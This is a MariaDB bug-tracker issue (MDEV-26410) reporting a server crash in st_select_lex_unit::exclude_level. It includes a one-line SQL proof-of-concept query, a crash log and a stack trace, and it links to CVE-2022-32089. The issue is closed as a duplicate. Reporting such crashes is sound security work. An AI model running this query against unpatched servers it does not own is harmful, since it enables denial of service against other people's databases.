MariaDB Server MDEV-26410

MariaDB server crash in st_select_lex_unit::exclude_level

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Major
Resolution:	Duplicate
Affects Version/s:	10.5, 10.6, 10.7
Fix Version/s:	10.4.26, 10.5.17, 10.6.9, (2)
Component/s:	N/A
Labels:	None
Environment:	Linux version 5.13.0-1-MANJARO (builduser@LEGION) (gcc (GCC) 11.1.0, GNU ld (GNU Binutils) 2.36.1) #1 SMP PREEMPT Mon Jun 7 06:16:10 UTC 2021 x86_64

Description

PoC:

```
KILL STRCMP ( 'x' = 47051287.000000 , TIME ( NOT 'x' IN ( SELECT -32768 ) ) MOD 44
```

crash log:

```
Version: '10.7.0-MariaDB' socket: '/tmp/12.socket' port: 10012 Source distribution
210816 15:00:02 [ERROR] mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help
diagnose the problem, but since we have already crashed,
something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB
key_buffer_size=134217728
read_buffer_size=131072
max_used_connections=1
max_threads=153
thread_count=1
```

```
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0x7f677d93c850 thread_stack 0x5fc00
sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)
[0x7f679d1e8c3e]
mysys/stacktrace.c:213(my_print_stacktrace)[0x55ea78116747]
sql/signal_handler.cc:222(handle_fatal_signal)[0x55ea770de120]
sigaction.c:0(__restore_rt)[0x7f679cbd2870]
sql/sql_lex.cc:3315(st_select_lex_unit::exclude_level())[0x55ea768e1518]
sql/item_subselect.cc:322(Item_subselect::fix_fields(THD*, Item**))[0x55ea773cff8c]
sql/item_subselect.cc:3562(Item_in_subselect::fix_fields(THD*, Item**))[0x55ea773d0c62]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item_cmpfunc.cc:6455(Item_func_not::fix_fields(THD*, Item**))[0x55ea771cd8c2]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x55ea7727229c]
sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55ea7698f9d4]
sql/sql_parse.cc:5523(mysql_execute_command(THD*, bool))[0x55ea76978d5e]
sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55ea769835a1]
sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))
[0x55ea7698960c]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55ea7698e73d]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55ea76d49e57]
sql/sql_connect.cc:1312(handle_one_connection)[0x55ea76d4a33d]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55ea777dac2c]
pthread_create.c:0(start_thread)[0x7f679cbc8259]
:0(_GI__clone)[0x7f679c7735e3]

Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query (0x629000087238): KILL STRCMP ( 'x' = 47051287.000000 , TIME ( NOT 'x' IN ( SELECT -32768 ) )
MOD 44 )

Connection ID (thread ID): 4
Status: NOT_KILLED

Optimizer switch:
index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,index

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains
information that should help you find out what is causing the crash.
Writing a core file...
```

Issue Links

duplicates

MDEV-22001 Server crashes in st_select_lex_unit::exclude_level upon exe... CLOSED

links to

CVE-2022-32089

Activity

Alice Sherepa added a comment - 2021-08-26 11:39

Thank you for the report and the test case!
I reproduced on 10.3-10.6, it looks like this is the same bug as ~~MDEV-22001~~,
I will add the test case there.

People

Assignee:

Unassigned

Reporter:

yaoguang

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

Dates

Created:

2021-08-19 02:50

Updated:

2022-08-05 07:41

Resolved:

2021-08-26 11:40

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.